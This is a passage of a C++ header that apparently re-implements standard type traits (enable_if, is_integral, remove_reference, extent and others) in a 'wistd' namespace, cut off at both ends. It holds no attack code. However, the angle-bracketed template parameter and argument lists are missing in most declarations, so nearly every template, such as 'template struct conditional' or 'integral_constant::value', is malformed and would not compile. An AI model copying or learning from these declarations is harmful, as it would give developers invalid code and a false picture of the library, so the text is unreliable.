namespace, but instead should prefer the std:: implementation.\n// Only code that is not exception-based and libraries that expect to be utilized across both exception\n// and non-exception based code should utilize this functionality.\n\n#ifndef _WISTD_TYPE_TRAITS_H_\n#define _WISTD_TYPE_TRAITS_H_\n\n// DO NOT add *any* additional includes to this file -- there should be no dependencies from its usage\n#include \"wistd_config.h\"\n\n#if !defined(__WI_LIBCPP_HAS_NO_PRAGMA_SYSTEM_HEADER)\n#pragma GCC system_header\n#endif\n\n/// @cond\nnamespace wistd // (\"Windows Implementation\" std)\n{\n template struct __WI_LIBCPP_TEMPLATE_VIS pair;\n template class __WI_LIBCPP_TEMPLATE_VIS reference_wrapper;\n template struct __WI_LIBCPP_TEMPLATE_VIS hash;\n\n template \n struct __void_t { typedef void type; };\n\n template \n struct __identity { typedef _Tp type; };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS __dependent_type : public _Tp {};\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS conditional {typedef _If type;};\n template \n struct __WI_LIBCPP_TEMPLATE_VIS conditional {typedef _Then type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using conditional_t = typename conditional<_Bp, _If, _Then>::type;\n#endif\n\n template struct __WI_LIBCPP_TEMPLATE_VIS __lazy_enable_if {};\n template struct __WI_LIBCPP_TEMPLATE_VIS __lazy_enable_if {typedef typename _Tp::type type;};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS enable_if {};\n template struct __WI_LIBCPP_TEMPLATE_VIS enable_if {typedef _Tp type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using enable_if_t = typename enable_if<_Bp, _Tp>::type;\n#endif\n\n // addressof\n#ifndef __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF\n\n template \n inline __WI_LIBCPP_CONSTEXPR_AFTER_CXX14\n __WI_LIBCPP_NO_CFI __WI_LIBCPP_INLINE_VISIBILITY\n _Tp*\n addressof(_Tp& __x) WI_NOEXCEPT\n {\n return __builtin_addressof(__x);\n }\n\n#else\n\n template \n inline __WI_LIBCPP_NO_CFI __WI_LIBCPP_INLINE_VISIBILITY\n _Tp*\n addressof(_Tp& __x) WI_NOEXCEPT\n {\n return reinterpret_cast<_Tp *>(\n const_cast(&reinterpret_cast(__x)));\n }\n\n#endif // __WI_LIBCPP_HAS_NO_BUILTIN_ADDRESSOF\n\n#if !defined(__WI_LIBCPP_CXX03_LANG)\n template _Tp* addressof(const _Tp&&) WI_NOEXCEPT = delete;\n#endif\n\n struct __two {char __lx[2];};\n\n // helper class:\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS integral_constant\n {\n static __WI_LIBCPP_CONSTEXPR const _Tp value = __v;\n typedef _Tp value_type;\n typedef integral_constant type;\n __WI_LIBCPP_INLINE_VISIBILITY\n __WI_LIBCPP_CONSTEXPR operator value_type() const WI_NOEXCEPT {return value;}\n#if __WI_LIBCPP_STD_VER > 11\n __WI_LIBCPP_INLINE_VISIBILITY\n constexpr value_type operator ()() const WI_NOEXCEPT {return value;}\n#endif\n };\n\n template \n __WI_LIBCPP_CONSTEXPR const _Tp integral_constant<_Tp, __v>::value;\n\n#if !defined(__WI_LIBCPP_CXX03_LANG)\n template \n using bool_constant = integral_constant;\n#define __WI_LIBCPP_BOOL_CONSTANT(__b) bool_constant<(__b)>\n#else\n#define __WI_LIBCPP_BOOL_CONSTANT(__b) integral_constant\n#endif\n\n typedef __WI_LIBCPP_BOOL_CONSTANT(true) true_type;\n typedef __WI_LIBCPP_BOOL_CONSTANT(false) false_type;\n\n#if !defined(__WI_LIBCPP_CXX03_LANG)\n\n // __lazy_and\n\n template \n struct __lazy_and_impl;\n\n template \n struct __lazy_and_impl : false_type {};\n\n template <>\n struct __lazy_and_impl : true_type {};\n\n template \n struct __lazy_and_impl : integral_constant {};\n\n template \n struct __lazy_and_impl : __lazy_and_impl<_Hp::type::value, _Tp...> {};\n\n template \n struct __lazy_and : __lazy_and_impl<_P1::type::value, _Pr...> {};\n\n // __lazy_or\n\n template \n struct __lazy_or_impl;\n\n template \n struct __lazy_or_impl : true_type {};\n\n template <>\n struct __lazy_or_impl : false_type {};\n\n template \n struct __lazy_or_impl\n : __lazy_or_impl<_Hp::type::value, _Tp...> {};\n\n template \n struct __lazy_or : __lazy_or_impl<_P1::type::value, _Pr...> {};\n\n // __lazy_not\n\n template \n struct __lazy_not : integral_constant {};\n\n // __and_\n template struct __and_;\n template<> struct __and_<> : true_type {};\n\n template struct __and_<_B0> : _B0 {};\n\n template\n struct __and_<_B0, _B1> : conditional<_B0::value, _B1, _B0>::type {};\n\n template\n struct __and_<_B0, _B1, _B2, _Bn...>\n : conditional<_B0::value, __and_<_B1, _B2, _Bn...>, _B0>::type {};\n\n // __or_\n template struct __or_;\n template<> struct __or_<> : false_type {};\n\n template struct __or_<_B0> : _B0 {};\n\n template\n struct __or_<_B0, _B1> : conditional<_B0::value, _B0, _B1>::type {};\n\n template\n struct __or_<_B0, _B1, _B2, _Bn...>\n : conditional<_B0::value, _B0, __or_<_B1, _B2, _Bn...> >::type {};\n\n // __not_\n template\n struct __not_ : conditional<_Tp::value, false_type, true_type>::type {};\n\n#endif // !defined(__WI_LIBCPP_CXX03_LANG)\n\n // is_const\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_const : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_const<_Tp const> : public true_type {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_const_v\n = is_const<_Tp>::value;\n#endif\n\n // is_volatile\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_volatile : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_volatile<_Tp volatile> : public true_type {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_volatile_v\n = is_volatile<_Tp>::value;\n#endif\n\n // remove_const\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_const {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_const {typedef _Tp type;};\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_const_t = typename remove_const<_Tp>::type;\n#endif\n\n // remove_volatile\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_volatile {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_volatile {typedef _Tp type;};\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_volatile_t = typename remove_volatile<_Tp>::type;\n#endif\n\n // remove_cv\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_cv\n {typedef typename remove_volatile::type>::type type;};\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_cv_t = typename remove_cv<_Tp>::type;\n#endif\n\n // is_void\n\n template struct __libcpp_is_void : public false_type {};\n template <> struct __libcpp_is_void : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_void\n : public __libcpp_is_void::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_void_v\n = is_void<_Tp>::value;\n#endif\n\n // __is_nullptr_t\n\n template struct __is_nullptr_t_impl : public false_type {};\n template <> struct __is_nullptr_t_impl : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS __is_nullptr_t\n : public __is_nullptr_t_impl::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11\n template struct __WI_LIBCPP_TEMPLATE_VIS is_null_pointer\n : public __is_nullptr_t_impl::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_null_pointer_v\n = is_null_pointer<_Tp>::value;\n#endif\n#endif\n\n // is_integral\n\n template struct __libcpp_is_integral : public false_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n#ifdef _MSC_VER\n template <> struct __libcpp_is_integral<__wchar_t> : public true_type {};\n#else\n template <> struct __libcpp_is_integral : public true_type {};\n#endif\n#ifndef __WI_LIBCPP_HAS_NO_UNICODE_CHARS\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n#endif // __WI_LIBCPP_HAS_NO_UNICODE_CHARS\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n template <> struct __libcpp_is_integral : public true_type {};\n#ifndef __WI_LIBCPP_HAS_NO_INT128\n template <> struct __libcpp_is_integral<__int128_t> : public true_type {};\n template <> struct __libcpp_is_integral<__uint128_t> : public true_type {};\n#endif\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_integral\n : public __libcpp_is_integral::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_integral_v\n = is_integral<_Tp>::value;\n#endif\n\n // is_floating_point\n\n template struct __libcpp_is_floating_point : public false_type {};\n template <> struct __libcpp_is_floating_point : public true_type {};\n template <> struct __libcpp_is_floating_point : public true_type {};\n template <> struct __libcpp_is_floating_point : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_floating_point\n : public __libcpp_is_floating_point::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_floating_point_v\n = is_floating_point<_Tp>::value;\n#endif\n\n // is_array\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_array\n : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_array<_Tp[]>\n : public true_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_array<_Tp[_Np]>\n : public true_type {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_array_v\n = is_array<_Tp>::value;\n#endif\n\n // is_pointer\n\n template struct __libcpp_is_pointer : public false_type {};\n template struct __libcpp_is_pointer<_Tp*> : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_pointer\n : public __libcpp_is_pointer::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_pointer_v\n = is_pointer<_Tp>::value;\n#endif\n\n // is_reference\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_lvalue_reference : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_lvalue_reference<_Tp&> : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_rvalue_reference : public false_type {};\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n template struct __WI_LIBCPP_TEMPLATE_VIS is_rvalue_reference<_Tp&&> : public true_type {};\n#endif\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_reference : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_reference<_Tp&> : public true_type {};\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n template struct __WI_LIBCPP_TEMPLATE_VIS is_reference<_Tp&&> : public true_type {};\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_reference_v\n = is_reference<_Tp>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_lvalue_reference_v\n = is_lvalue_reference<_Tp>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_rvalue_reference_v\n = is_rvalue_reference<_Tp>::value;\n#endif\n // is_union\n\n#if __WI_HAS_FEATURE_IS_UNION || (__WI_GNUC_VER >= 403)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_union\n : public integral_constant {};\n\n#else\n\n template struct __libcpp_union : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_union\n : public __libcpp_union::type> {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_union_v\n = is_union<_Tp>::value;\n#endif\n\n // is_class\n\n#if __WI_HAS_FEATURE_IS_CLASS || (__WI_GNUC_VER >= 403)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_class\n : public integral_constant {};\n\n#else\n\n namespace __is_class_imp\n {\n template char __test(int _Tp::*);\n template __two __test(...);\n }\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_class\n : public integral_constant(0)) == 1 && !is_union<_Tp>::value> {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_class_v\n = is_class<_Tp>::value;\n#endif\n\n // is_same\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_same : public false_type {};\n template struct __WI_LIBCPP_TEMPLATE_VIS is_same<_Tp, _Tp> : public true_type {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_same_v\n = is_same<_Tp, _Up>::value;\n#endif\n\n // is_function\n\n namespace __libcpp_is_function_imp\n {\n struct __dummy_type {};\n template char __test(_Tp*);\n template char __test(__dummy_type);\n template __two __test(...);\n template _Tp& __source(int);\n template __dummy_type __source(...);\n }\n\n template ::value ||\n is_union<_Tp>::value ||\n is_void<_Tp>::value ||\n is_reference<_Tp>::value ||\n __is_nullptr_t<_Tp>::value >\n struct __libcpp_is_function\n : public integral_constant(__libcpp_is_function_imp::__source<_Tp>(0))) == 1>\n {};\n template struct __libcpp_is_function<_Tp, true> : public false_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_function\n : public __libcpp_is_function<_Tp> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_function_v\n = is_function<_Tp>::value;\n#endif\n\n // is_member_function_pointer\n\n // template struct __libcpp_is_member_function_pointer : public false_type {};\n // template struct __libcpp_is_member_function_pointer<_Tp _Up::*> : public is_function<_Tp> {};\n //\n\n template \n struct __member_pointer_traits_imp\n { // forward declaration; specializations later\n };\n\n\n template struct __libcpp_is_member_function_pointer\n : public false_type {};\n\n template \n struct __libcpp_is_member_function_pointer<_Ret _Class::*>\n : public is_function<_Ret> {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_member_function_pointer\n : public __libcpp_is_member_function_pointer::type>::type {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_member_function_pointer_v\n = is_member_function_pointer<_Tp>::value;\n#endif\n\n // is_member_pointer\n\n template struct __libcpp_is_member_pointer : public false_type {};\n template struct __libcpp_is_member_pointer<_Tp _Up::*> : public true_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_member_pointer\n : public __libcpp_is_member_pointer::type> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_member_pointer_v\n = is_member_pointer<_Tp>::value;\n#endif\n\n // is_member_object_pointer\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_member_object_pointer\n : public integral_constant::value &&\n !is_member_function_pointer<_Tp>::value> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_member_object_pointer_v\n = is_member_object_pointer<_Tp>::value;\n#endif\n\n // is_enum\n\n#if __WI_HAS_FEATURE_IS_ENUM || (__WI_GNUC_VER >= 403)\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_enum\n : public integral_constant {};\n\n#else\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_enum\n : public integral_constant::value &&\n !is_integral<_Tp>::value &&\n !is_floating_point<_Tp>::value &&\n !is_array<_Tp>::value &&\n !is_pointer<_Tp>::value &&\n !is_reference<_Tp>::value &&\n !is_member_pointer<_Tp>::value &&\n !is_union<_Tp>::value &&\n !is_class<_Tp>::value &&\n !is_function<_Tp>::value > {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_enum_v\n = is_enum<_Tp>::value;\n#endif\n\n // is_arithmetic\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_arithmetic\n : public integral_constant::value ||\n is_floating_point<_Tp>::value> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_arithmetic_v\n = is_arithmetic<_Tp>::value;\n#endif\n\n // is_fundamental\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_fundamental\n : public integral_constant::value ||\n __is_nullptr_t<_Tp>::value ||\n is_arithmetic<_Tp>::value> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_fundamental_v\n = is_fundamental<_Tp>::value;\n#endif\n\n // is_scalar\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_scalar\n : public integral_constant::value ||\n is_member_pointer<_Tp>::value ||\n is_pointer<_Tp>::value ||\n __is_nullptr_t<_Tp>::value ||\n is_enum<_Tp>::value > {};\n\n template <> struct __WI_LIBCPP_TEMPLATE_VIS is_scalar : public true_type {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_scalar_v\n = is_scalar<_Tp>::value;\n#endif\n\n // is_object\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_object\n : public integral_constant::value ||\n is_array<_Tp>::value ||\n is_union<_Tp>::value ||\n is_class<_Tp>::value > {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_object_v\n = is_object<_Tp>::value;\n#endif\n\n // is_compound\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_compound\n : public integral_constant::value> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_compound_v\n = is_compound<_Tp>::value;\n#endif\n\n\n // __is_referenceable [defns.referenceable]\n\n struct __is_referenceable_impl {\n template static _Tp& __test(int);\n template static __two __test(...);\n };\n\n template \n struct __is_referenceable : integral_constant(0)), __two>::value> {};\n\n\n // add_const\n\n template ::value ||\n is_function<_Tp>::value ||\n is_const<_Tp>::value >\n struct __add_const {typedef _Tp type;};\n\n template \n struct __add_const<_Tp, false> {typedef const _Tp type;};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS add_const\n {typedef typename __add_const<_Tp>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using add_const_t = typename add_const<_Tp>::type;\n#endif\n\n // add_volatile\n\n template ::value ||\n is_function<_Tp>::value ||\n is_volatile<_Tp>::value >\n struct __add_volatile {typedef _Tp type;};\n\n template \n struct __add_volatile<_Tp, false> {typedef volatile _Tp type;};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS add_volatile\n {typedef typename __add_volatile<_Tp>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using add_volatile_t = typename add_volatile<_Tp>::type;\n#endif\n\n // add_cv\n\n template struct __WI_LIBCPP_TEMPLATE_VIS add_cv\n {typedef typename add_const::type>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using add_cv_t = typename add_cv<_Tp>::type;\n#endif\n\n // remove_reference\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_reference {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_reference<_Tp&> {typedef _Tp type;};\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_reference<_Tp&&> {typedef _Tp type;};\n#endif\n\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_reference_t = typename remove_reference<_Tp>::type;\n#endif\n\n // add_lvalue_reference\n\n template ::value> struct __add_lvalue_reference_impl { typedef _Tp type; };\n template struct __add_lvalue_reference_impl<_Tp, true> { typedef _Tp& type; };\n\n template struct __WI_LIBCPP_TEMPLATE_VIS add_lvalue_reference\n {typedef typename __add_lvalue_reference_impl<_Tp>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using add_lvalue_reference_t = typename add_lvalue_reference<_Tp>::type;\n#endif\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template ::value> struct __add_rvalue_reference_impl { typedef _Tp type; };\n template struct __add_rvalue_reference_impl<_Tp, true> { typedef _Tp&& type; };\n\n template struct __WI_LIBCPP_TEMPLATE_VIS add_rvalue_reference\n {typedef typename __add_rvalue_reference_impl<_Tp>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using add_rvalue_reference_t = typename add_rvalue_reference<_Tp>::type;\n#endif\n\n#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n#ifndef __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n // MSVC has issues compiling some source code that uses the libc++ definition of 'declval'\n#ifdef _MSC_VER\n template \n typename add_rvalue_reference<_Tp>::type declval() WI_NOEXCEPT;\n#else\n template _Tp&& __declval(int);\n template _Tp __declval(long);\n\n template \n decltype(__declval<_Tp>(0))\n declval() WI_NOEXCEPT;\n#endif\n\n#else // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n template \n typename add_lvalue_reference<_Tp>::type\n declval();\n\n#endif // __WI_LIBCPP_HAS_NO_RVALUE_REFERENCES\n\n // __uncvref\n\n template \n struct __uncvref {\n typedef typename remove_cv::type>::type type;\n };\n\n template \n struct __unconstref {\n typedef typename remove_const::type>::type type;\n };\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n template \n using __uncvref_t = typename __uncvref<_Tp>::type;\n#endif\n\n // __is_same_uncvref\n\n template \n struct __is_same_uncvref : is_same::type,\n typename __uncvref<_Up>::type> {};\n\n#if __WI_LIBCPP_STD_VER > 17\n // remove_cvref - same as __uncvref\n template \n struct remove_cvref : public __uncvref<_Tp> {};\n\n template using remove_cvref_t = typename remove_cvref<_Tp>::type;\n#endif\n\n\n struct __any\n {\n __any(...);\n };\n\n // remove_pointer\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp*> {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp* const> {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp* volatile> {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_pointer<_Tp* const volatile> {typedef _Tp type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_pointer_t = typename remove_pointer<_Tp>::type;\n#endif\n\n // add_pointer\n\n template ::value ||\n is_same::type, void>::value>\n struct __add_pointer_impl\n {typedef typename remove_reference<_Tp>::type* type;};\n template struct __add_pointer_impl<_Tp, false>\n {typedef _Tp type;};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS add_pointer\n {typedef typename __add_pointer_impl<_Tp>::type type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using add_pointer_t = typename add_pointer<_Tp>::type;\n#endif\n\n // type_identity\n#if __WI_LIBCPP_STD_VER > 17\n template struct type_identity { typedef _Tp type; };\n template using type_identity_t = typename type_identity<_Tp>::type;\n#endif\n\n // is_signed\n\n template ::value>\n struct __libcpp_is_signed_impl : public __WI_LIBCPP_BOOL_CONSTANT(_Tp(-1) < _Tp(0)) {};\n\n template \n struct __libcpp_is_signed_impl<_Tp, false> : public true_type {}; // floating point\n\n template ::value>\n struct __libcpp_is_signed : public __libcpp_is_signed_impl<_Tp> {};\n\n template struct __libcpp_is_signed<_Tp, false> : public false_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_signed : public __libcpp_is_signed<_Tp> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_signed_v\n = is_signed<_Tp>::value;\n#endif\n\n // is_unsigned\n\n template ::value>\n struct __libcpp_is_unsigned_impl : public __WI_LIBCPP_BOOL_CONSTANT(_Tp(0) < _Tp(-1)) {};\n\n template \n struct __libcpp_is_unsigned_impl<_Tp, false> : public false_type {}; // floating point\n\n template ::value>\n struct __libcpp_is_unsigned : public __libcpp_is_unsigned_impl<_Tp> {};\n\n template struct __libcpp_is_unsigned<_Tp, false> : public false_type {};\n\n template struct __WI_LIBCPP_TEMPLATE_VIS is_unsigned : public __libcpp_is_unsigned<_Tp> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR bool is_unsigned_v\n = is_unsigned<_Tp>::value;\n#endif\n\n // rank\n\n template struct __WI_LIBCPP_TEMPLATE_VIS rank\n : public integral_constant {};\n template struct __WI_LIBCPP_TEMPLATE_VIS rank<_Tp[]>\n : public integral_constant::value + 1> {};\n template struct __WI_LIBCPP_TEMPLATE_VIS rank<_Tp[_Np]>\n : public integral_constant::value + 1> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR size_t rank_v\n = rank<_Tp>::value;\n#endif\n\n // extent\n\n template struct __WI_LIBCPP_TEMPLATE_VIS extent\n : public integral_constant {};\n template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[], 0>\n : public integral_constant {};\n template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[], _Ip>\n : public integral_constant::value> {};\n template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[_Np], 0>\n : public integral_constant {};\n template struct __WI_LIBCPP_TEMPLATE_VIS extent<_Tp[_Np], _Ip>\n : public integral_constant::value> {};\n\n#if __WI_LIBCPP_STD_VER > 11 && !defined(__WI_LIBCPP_HAS_NO_VARIABLE_TEMPLATES)\n template \n __WI_LIBCPP_INLINE_VAR __WI_LIBCPP_CONSTEXPR size_t extent_v\n = extent<_Tp, _Ip>::value;\n#endif\n\n // remove_extent\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_extent\n {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_extent<_Tp[]>\n {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_extent<_Tp[_Np]>\n {typedef _Tp type;};\n\n#if __WI_LIBCPP_STD_VER > 11\n template using remove_extent_t = typename remove_extent<_Tp>::type;\n#endif\n\n // remove_all_extents\n\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_all_extents\n {typedef _Tp type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_all_extents<_Tp[]>\n {typedef typename remove_all_extents<_Tp>::type type;};\n template struct __WI_LIBCPP_TEMPLATE_VIS remove_all_extents<_Tp[_Np]>\n {typedef typename 